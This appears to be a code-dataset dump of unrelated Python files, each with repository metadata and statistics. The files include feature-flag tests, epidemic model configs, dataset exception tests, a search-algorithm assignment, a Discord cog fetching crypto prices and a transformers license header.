from ..collections import DraftOrderResponse
from ..draft_order import create_draft_order
APP_NAME = settings... | 33.991379 | 94 | 0.480019 | 1,959 | 27,601 | 6.476263 | 0.086269 | 0.055332 | 0.048238 | 0.034051 | 0.904627 | 0.885552 | 0.873493 | 0.855206 | 0.839994 | 0.805549 | 0 | 0.062871 | 0.395493 | 27,601 | 811 | 95 | 34.033292 | 0.697513 | 0 | 0 | 0.649007 | 0 | 0 | 0.25807 | 0.073621 | 0 | 0 | 0 | 0 | 0.013245 | 1 | 0.01457 | false | 0 | 0.010596 | 0.001325 | 0.027815 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1624cd5f0ff1118325044b8c8dd5cf7e9849dc3e | 41 | py | Python | pylanelet2/lanelet2/geometry.py | yuzhangbit/Lanelet2 | 62b8de59882b80efb94b419f7277c64a00fec9b4 | [
"BSD-3-Clause"
] | 3 | 2019-01-14T07:05:36.000Z | 2020-02-26T16:20:21.000Z | pylanelet2/lanelet2/geometry.py | stefanosecondo-tomtom/Lanelet2 | 88fc2d1b9292c40f64e6d47ca4c7b23da52bda7b | [
"BSD-3-Clause"
] | null | null | null | pylanelet2/lanelet2/geometry.py | stefanosecondo-tomtom/Lanelet2 | 88fc2d1b9292c40f64e6d47ca4c7b23da52bda7b | [
"BSD-3-Clause"
] | 1 | 2022-03-28T21:38:14.000Z | 2022-03-28T21:38:14.000Z | from liblanelet2_geometry_pyapi import *
| 20.5 | 40 | 0.878049 | 5 | 41 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027027 | 0.097561 | 41 | 1 | 41 | 41 | 0.891892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1645b3eb15f35878ff54bdd8a49195c777ab5e11 | 66 | py | Python | robocode-vscode/tests/robocode_vscode_tests/__init__.py | emanlove/robotframework-lsp | b0d8862d24e3bc1b72d8ce9412a671571520e7d9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | robocode-vscode/tests/robocode_vscode_tests/__init__.py | emanlove/robotframework-lsp | b0d8862d24e3bc1b72d8ce9412a671571520e7d9 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-09-30T15:40:29.000Z | 2021-09-30T15:40:29.000Z | robocode-vscode/tests/robocode_vscode_tests/__init__.py | emanlove/robotframework-lsp | b0d8862d24e3bc1b72d8ce9412a671571520e7d9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | import robocode_vscode
robocode_vscode.import_robocode_ls_core()
| 16.5 | 41 | 0.893939 | 9 | 66 | 6 | 0.555556 | 0.518519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060606 | 66 | 3 | 42 | 22 | 0.870968 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
16887b95ec3ad967cf54868c034f60cdf09b3d0e | 167 | py | Python | tests/test_encode.py | oscekh/repobee-encode | 3e5dff25eec39578f9b3c240fec5c90861a12133 | [
"MIT"
] | null | null | null | tests/test_encode.py | oscekh/repobee-encode | 3e5dff25eec39578f9b3c240fec5c90861a12133 | [
"MIT"
] | null | null | null | tests/test_encode.py | oscekh/repobee-encode | 3e5dff25eec39578f9b3c240fec5c90861a12133 | [
"MIT"
] | null | null | null | from _repobee import plugin
from repobee_encode import encode
def test_register():
"""Just test that there is no crash"""
plugin.register_plugins([encode])
| 18.555556 | 42 | 0.742515 | 23 | 167 | 5.217391 | 0.652174 | 0.183333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173653 | 167 | 8 | 43 | 20.875 | 0.869565 | 0.191617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
16cf8986165be95d7c042053edc8404c0c0702db | 20,484 | py | Python | tests/test_client.py | rusintez/flipper-client | cd00ae1a3582c5cb7e661c5aa9b8a7b65b35a9e0 | [
"Apache-2.0"
] | null | null | null | tests/test_client.py | rusintez/flipper-client | cd00ae1a3582c5cb7e661c5aa9b8a7b65b35a9e0 | [
"Apache-2.0"
] | null | null | null | tests/test_client.py | rusintez/flipper-client | cd00ae1a3582c5cb7e661c5aa9b8a7b65b35a9e0 | [
"Apache-2.0"
] | null | null | null | import unittest
from unittest.mock import MagicMock
from uuid import uuid4
from flipper import Condition, FeatureFlagClient, MemoryFeatureFlagStore
from flipper.bucketing import Percentage, PercentageBucketer
from flipper.contrib.storage import FeatureFlagStoreMeta
from flipper.events import EventType, FlipperEventEmi... | 29.816594 | 82 | 0.693273 | 2,501 | 20,484 | 5.367453 | 0.062775 | 0.166344 | 0.122914 | 0.077771 | 0.84848 | 0.822557 | 0.804306 | 0.781287 | 0.76758 | 0.740092 | 0 | 0.001485 | 0.21075 | 20,484 | 686 | 83 | 29.860058 | 0.828849 | 0 | 0 | 0.676744 | 0 | 0 | 0.009129 | 0 | 0 | 0 | 0 | 0 | 0.139535 | 1 | 0.144186 | false | 0 | 0.02093 | 0.002326 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
bc7c921e77ed478e60c5eb44483ee5f6ac512095 | 100 | py | Python | couch_lifestream/context_processors.py | ericflo/django-couch-lifestream | 53aac40f6e617b78d07a8c4f121d422e07674e46 | [
"BSD-3-Clause"
] | 3 | 2015-11-05T03:15:21.000Z | 2022-03-23T10:31:17.000Z | couch_lifestream/context_processors.py | ericflo/django-couch-lifestream | 53aac40f6e617b78d07a8c4f121d422e07674e46 | [
"BSD-3-Clause"
] | null | null | null | couch_lifestream/context_processors.py | ericflo/django-couch-lifestream | 53aac40f6e617b78d07a8c4f121d422e07674e46 | [
"BSD-3-Clause"
] | null | null | null | from couch_lifestream import USERNAMES
def usernames(request):
return dict(USERNAMES=USERNAMES) | 25 | 38 | 0.82 | 12 | 100 | 6.75 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12 | 100 | 4 | 39 | 25 | 0.920455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
bcc02ecf51191c2d9e1579977cf8ad34c4af1da5 | 135 | py | Python | tests/test_math.py | iyanmv/galois | a5e6386a684e3e0b47af608217002795dc25c702 | [
"MIT"
] | 65 | 2021-02-20T04:07:59.000Z | 2022-03-13T10:14:58.000Z | tests/test_math.py | iyanmv/galois | a5e6386a684e3e0b47af608217002795dc25c702 | [
"MIT"
] | 303 | 2021-02-22T19:36:25.000Z | 2022-03-31T14:48:15.000Z | tests/test_math.py | iyanmv/galois | a5e6386a684e3e0b47af608217002795dc25c702 | [
"MIT"
] | 9 | 2021-03-11T07:40:51.000Z | 2022-03-06T20:13:17.000Z | """
A pytest module to test the functions in _math.py.
"""
import galois
def test_prod():
assert galois.prod(2, 4, 14) == 2*4*14
| 15 | 50 | 0.651852 | 24 | 135 | 3.583333 | 0.75 | 0.046512 | 0.093023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 0.2 | 135 | 8 | 51 | 16.875 | 0.722222 | 0.37037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bceb31511a2773f7060d8c45b37fcf821150b21a | 3,718 | py | Python | scripts/configs.py | dsheldon/covid | 5ca06c88afd91ed910c66051821d1e119547222f | [
"MIT"
] | 30 | 2020-05-12T19:25:50.000Z | 2021-03-07T01:51:57.000Z | scripts/configs.py | dsheldon/covid | 5ca06c88afd91ed910c66051821d1e119547222f | [
"MIT"
] | 6 | 2020-04-29T18:04:11.000Z | 2021-02-15T17:33:16.000Z | scripts/configs.py | dsheldon/covid | 5ca06c88afd91ed910c66051821d1e119547222f | [
"MIT"
] | 13 | 2020-05-06T11:48:38.000Z | 2022-02-22T01:02:51.000Z | import covid.models.SEIRD
import covid.models.SEIRD_variable_detection
import covid.models.SEIRD_incident
import covid.util as util
# 2020-04-25 forecast (?)
SEIRD = {
'model' : covid.models.SEIRD.SEIRD,
'args' : {} # use defaults
}
# 2020-05-03 forecast
strongest_prior = {
'model' : co... | 22.950617 | 74 | 0.574233 | 476 | 3,718 | 4.231092 | 0.189076 | 0.081927 | 0.119166 | 0.125124 | 0.807845 | 0.756207 | 0.756207 | 0.723436 | 0.706058 | 0.706058 | 0 | 0.106667 | 0.293975 | 3,718 | 161 | 75 | 23.093168 | 0.660571 | 0.178053 | 0 | 0.603175 | 0 | 0 | 0.274194 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.031746 | 0 | 0.031746 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4c308168026b5ae21ac655a9947a0ecf8ea9b55b | 40 | py | Python | Lib/inspect.py | jdahlin/cpython | a51a0e7517c39d0e2268124708e6dfdd3295925d | [
"CNRI-Python-GPL-Compatible"
] | null | null | null | Lib/inspect.py | jdahlin/cpython | a51a0e7517c39d0e2268124708e6dfdd3295925d | [
"CNRI-Python-GPL-Compatible"
] | null | null | null | Lib/inspect.py | jdahlin/cpython | a51a0e7517c39d0e2268124708e6dfdd3295925d | [
"CNRI-Python-GPL-Compatible"
] | null | null | null | def getmro(cls):
return cls.__mro__
| 13.333333 | 22 | 0.7 | 6 | 40 | 4 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 40 | 2 | 23 | 20 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
4c58d85130fbc4a5cc48c02ac91af37adfd3f3b2 | 4,410 | py | Python | region/p_regions/tests/test_azp_basic_tabu.py | Dexterzhao/region | 596476ad291bfbbeb7d88bb70503aff89c1df59c | [
"BSD-3-Clause"
] | null | null | null | region/p_regions/tests/test_azp_basic_tabu.py | Dexterzhao/region | 596476ad291bfbbeb7d88bb70503aff89c1df59c | [
"BSD-3-Clause"
] | null | null | null | region/p_regions/tests/test_azp_basic_tabu.py | Dexterzhao/region | 596476ad291bfbbeb7d88bb70503aff89c1df59c | [
"BSD-3-Clause"
] | 1 | 2018-10-16T23:59:23.000Z | 2018-10-16T23:59:23.000Z | import networkx as nx
from region.p_regions.azp import AZPBasicTabu
from region.tests.util import region_list_from_array, compare_region_lists
from region.util import dataframe_to_dict
from region.p_regions.tests.data import adj, neighbors_dict, gdf, graph, w, \
attr, attr_dict, attr_str, double_att... | 38.684211 | 79 | 0.781179 | 613 | 4,410 | 5.187602 | 0.106036 | 0.14717 | 0.057233 | 0.077673 | 0.876415 | 0.857862 | 0.849371 | 0.849371 | 0.849371 | 0.849371 | 0 | 0.006276 | 0.13288 | 4,410 | 113 | 80 | 39.026549 | 0.825314 | 0.121315 | 0 | 0.535211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.169014 | false | 0 | 0.070423 | 0 | 0.239437 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4c6b4a0f8b5a7b1a3b8b284ec01c67e6c9482254 | 80 | py | Python | ltplugins/__init__.py | mezantrop/ltplugins | 6ecac71f67b3463e219756d78ccdf76108da0909 | [
"BSD-2-Clause"
] | null | null | null | ltplugins/__init__.py | mezantrop/ltplugins | 6ecac71f67b3463e219756d78ccdf76108da0909 | [
"BSD-2-Clause"
] | null | null | null | ltplugins/__init__.py | mezantrop/ltplugins | 6ecac71f67b3463e219756d78ccdf76108da0909 | [
"BSD-2-Clause"
] | null | null | null | from ltplugins.ltplugins import LTPlugins
from ltplugins.__about__ import about
| 26.666667 | 41 | 0.875 | 10 | 80 | 6.6 | 0.4 | 0.393939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 80 | 2 | 42 | 40 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4c77ce748bd1e5a1078132bf828e64555b94ccb7 | 26,218 | py | Python | toolium/test/utils/test_driver_utils.py | tanistra/toolium | d7f06c7ab9f264c42fe55eed4f9a3065512d910e | [
"Apache-2.0"
] | null | null | null | toolium/test/utils/test_driver_utils.py | tanistra/toolium | d7f06c7ab9f264c42fe55eed4f9a3065512d910e | [
"Apache-2.0"
] | null | null | null | toolium/test/utils/test_driver_utils.py | tanistra/toolium | d7f06c7ab9f264c42fe55eed4f9a3065512d910e | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
u"""
Copyright 2015 Telefónica Investigación y Desarrollo, S.A.U.
This file is part of Toolium.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/lic... | 40.397535 | 118 | 0.700854 | 3,426 | 26,218 | 5.051956 | 0.102452 | 0.090883 | 0.050497 | 0.039404 | 0.819968 | 0.797492 | 0.770049 | 0.755662 | 0.736249 | 0.720649 | 0 | 0.02512 | 0.180067 | 26,218 | 648 | 119 | 40.459877 | 0.780016 | 0.095698 | 0 | 0.58794 | 0 | 0 | 0.155088 | 0.007202 | 0 | 0 | 0 | 0 | 0.188442 | 1 | 0.115578 | false | 0.002513 | 0.042714 | 0.002513 | 0.163317 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4c7a8e7078f044d03a01433ca5ff3c24b469be98 | 11,495 | py | Python | tests/ut/python/dataset/test_minddataset_exception.py | Rossil2012/mindspore | 8a20b5d784b3fec6d32e058581ec56ec553a06a0 | [
"Apache-2.0"
] | 1 | 2021-04-23T06:35:18.000Z | 2021-04-23T06:35:18.000Z | tests/ut/python/dataset/test_minddataset_exception.py | nudt-eddie/mindspore | 55372b41fdfae6d2b88d7078971e06d537f6c558 | [
"Apache-2.0"
] | null | null | null | tests/ut/python/dataset/test_minddataset_exception.py | nudt-eddie/mindspore | 55372b41fdfae6d2b88d7078971e06d537f6c558 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 37.8125 | 111 | 0.663332 | 1,598 | 11,495 | 4.449937 | 0.125782 | 0.090001 | 0.067501 | 0.054001 | 0.811138 | 0.778793 | 0.751934 | 0.728449 | 0.691323 | 0.681198 | 0 | 0.015827 | 0.214006 | 11,495 | 303 | 112 | 37.937294 | 0.771223 | 0.074206 | 0 | 0.727642 | 0 | 0 | 0.125519 | 0.004058 | 0 | 0 | 0 | 0 | 0.028455 | 1 | 0.065041 | false | 0 | 0.01626 | 0 | 0.081301 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
910b60265fd545a298352a048db71f0afe00a521 | 21,958 | py | Python | mission_cannibal_Mike_Boodoo.py | BluedragonXVI/missionary_cannibal | 0e9edfbb60acc41f46477ca5ef7e39c41fb95b1b | [
"MIT"
] | null | null | null | mission_cannibal_Mike_Boodoo.py | BluedragonXVI/missionary_cannibal | 0e9edfbb60acc41f46477ca5ef7e39c41fb95b1b | [
"MIT"
] | null | null | null | mission_cannibal_Mike_Boodoo.py | BluedragonXVI/missionary_cannibal | 0e9edfbb60acc41f46477ca5ef7e39c41fb95b1b | [
"MIT"
] | null | null | null | import heapq
# Michael Boodoo
# Artificial Intelligence Assign 01
# DFS and A* algorithms acting on Node class who's state is represented as a dictionary
# DFS's fringe/frontier is a list and A* is a min-priority queue, using the heapq module
# Since dictionaries aren't hashable, the closed/reached set contains strin... | 66.138554 | 188 | 0.638765 | 3,331 | 21,958 | 4.047133 | 0.079856 | 0.033825 | 0.032045 | 0.048958 | 0.80721 | 0.792894 | 0.783844 | 0.779245 | 0.771382 | 0.765596 | 0 | 0.022577 | 0.247609 | 21,958 | 332 | 189 | 66.138554 | 0.793414 | 0.277348 | 0 | 0.660714 | 0 | 0 | 0.069853 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.029762 | false | 0 | 0.005952 | 0 | 0.160714 | 0.095238 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
91263cdac61771d667f3d36e721f9b01fe1888c0 | 98 | py | Python | api/__init__.py | bnbwebexpertise/linkr | 657bdd3b5c77b67702b9398da000e19d3f5bb875 | [
"MIT"
] | 124 | 2016-12-23T02:14:45.000Z | 2021-11-20T15:25:20.000Z | api/__init__.py | bnbwebexpertise/linkr | 657bdd3b5c77b67702b9398da000e19d3f5bb875 | [
"MIT"
] | 24 | 2017-05-29T10:15:15.000Z | 2019-05-23T13:30:58.000Z | api/__init__.py | bnbwebexpertise/linkr | 657bdd3b5c77b67702b9398da000e19d3f5bb875 | [
"MIT"
] | 19 | 2017-05-15T13:19:07.000Z | 2021-05-14T02:35:05.000Z | # flake8: noqa: F401
from auth import *
from link import *
from misc import *
from user import *
| 14 | 20 | 0.714286 | 15 | 98 | 4.666667 | 0.6 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051948 | 0.214286 | 98 | 6 | 21 | 16.333333 | 0.857143 | 0.183673 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
912fa52714064da3a53bcfaa300598cb017f9470 | 156 | py | Python | profiles_api/admin.py | law187/profile-rest-api | ec4e3ce44c73d2f7081435a2626543495ec69e8d | [
"MIT"
] | null | null | null | profiles_api/admin.py | law187/profile-rest-api | ec4e3ce44c73d2f7081435a2626543495ec69e8d | [
"MIT"
] | null | null | null | profiles_api/admin.py | law187/profile-rest-api | ec4e3ce44c73d2f7081435a2626543495ec69e8d | [
"MIT"
] | null | null | null | from django.contrib import admin
from profiles_api import models
admin.site.register(models.UserProfile)
admin.site.register(models.ProfuleFeedItem)
| 22.285714 | 44 | 0.820513 | 20 | 156 | 6.35 | 0.6 | 0.141732 | 0.267717 | 0.362205 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108974 | 156 | 6 | 45 | 26 | 0.913669 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
9149f6229814912ec65979ab5700e04902706492 | 42 | py | Python | seamseg/config/__init__.py | gladcolor/seamseg | 9e6c7e2828f32b311a7b0c16b279ac194e8aaf94 | [
"BSD-3-Clause"
] | 282 | 2019-06-07T11:37:01.000Z | 2022-03-19T05:43:02.000Z | seamseg/config/__init__.py | gladcolor/seamseg | 9e6c7e2828f32b311a7b0c16b279ac194e8aaf94 | [
"BSD-3-Clause"
] | 32 | 2019-07-02T10:39:03.000Z | 2022-03-10T14:10:13.000Z | seamseg/config/__init__.py | gladcolor/seamseg | 9e6c7e2828f32b311a7b0c16b279ac194e8aaf94 | [
"BSD-3-Clause"
] | 56 | 2019-07-24T02:31:37.000Z | 2022-01-07T16:19:50.000Z | from .config import load_config, DEFAULTS
| 21 | 41 | 0.833333 | 6 | 42 | 5.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119048 | 42 | 1 | 42 | 42 | 0.918919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e67d12c5acfe6a9870df25c57f2a3b06c367d853 | 3,179 | py | Python | zeenode-selfbot/zeenode/cogs/currency.py | PercyTheB/zeenode-fixed | d91750a8ef66ae92053aab16e7bc57457ddf71d4 | [
"MIT"
] | null | null | null | zeenode-selfbot/zeenode/cogs/currency.py | PercyTheB/zeenode-fixed | d91750a8ef66ae92053aab16e7bc57457ddf71d4 | [
"MIT"
] | null | null | null | zeenode-selfbot/zeenode/cogs/currency.py | PercyTheB/zeenode-fixed | d91750a8ef66ae92053aab16e7bc57457ddf71d4 | [
"MIT"
] | null | null | null | import discord, pyfiglet, requests, json
from discord.ext import commands as zeenode
class currency(zeenode.Cog):
def __init__(self, bot):
self.bot = bot
@zeenode.command()
async def btc(self, ctx):
await ctx.message.delete()
r = requests.get(
"https://min-... | 28.9 | 107 | 0.519031 | 373 | 3,179 | 4.41555 | 0.201072 | 0.063145 | 0.058288 | 0.048573 | 0.806922 | 0.806922 | 0.806922 | 0.794778 | 0.794778 | 0.742562 | 0 | 0.0046 | 0.316137 | 3,179 | 109 | 108 | 29.165138 | 0.74931 | 0.21988 | 0 | 0.609756 | 0 | 0.060976 | 0.251276 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02439 | false | 0 | 0.02439 | 0 | 0.060976 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e6a02a9ce74eaea3e1660226c358b4f06e4a208d | 82 | py | Python | abc/abc082/abc082a.py | c-yan/atcoder | 940e49d576e6a2d734288fadaf368e486480a948 | [
"MIT"
] | 1 | 2019-08-21T00:49:34.000Z | 2019-08-21T00:49:34.000Z | abc/abc082/abc082a.py | c-yan/atcoder | 940e49d576e6a2d734288fadaf368e486480a948 | [
"MIT"
] | null | null | null | abc/abc082/abc082a.py | c-yan/atcoder | 940e49d576e6a2d734288fadaf368e486480a948 | [
"MIT"
] | null | null | null | from math import ceil
a, b = map(int, input().split())
print(ceil((a + b) / 2))
| 13.666667 | 32 | 0.585366 | 15 | 82 | 3.2 | 0.8 | 0.208333 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015152 | 0.195122 | 82 | 5 | 33 | 16.4 | 0.712121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
fc1dd25eb3ea83bd5c54aef0cbd8f86b73abd1e8 | 76,639 | py | Python | src/transformers/data/data_collator.py | manuelciosici/transformers | c33f6046c3dab8f41bedf893404e6469dea3bce8 | [
"Apache-2.0"
] | 8,028 | 2018-11-05T15:19:44.000Z | 2019-07-16T09:14:59.000Z | src/transformers/data/data_collator.py | ymwangg/transformers | 4a419d4995111c22d6842ee1bcd2d3f500150845 | [
"Apache-2.0"
] | 731 | 2018-11-05T21:35:52.000Z | 2019-07-16T09:51:26.000Z | src/transformers/data/data_collator.py | ymwangg/transformers | 4a419d4995111c22d6842ee1bcd2d3f500150845 | [
"Apache-2.0"
] | 2,106 | 2018-11-05T15:29:15.000Z | 2019-07-16T08:51:57.000Z | # Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
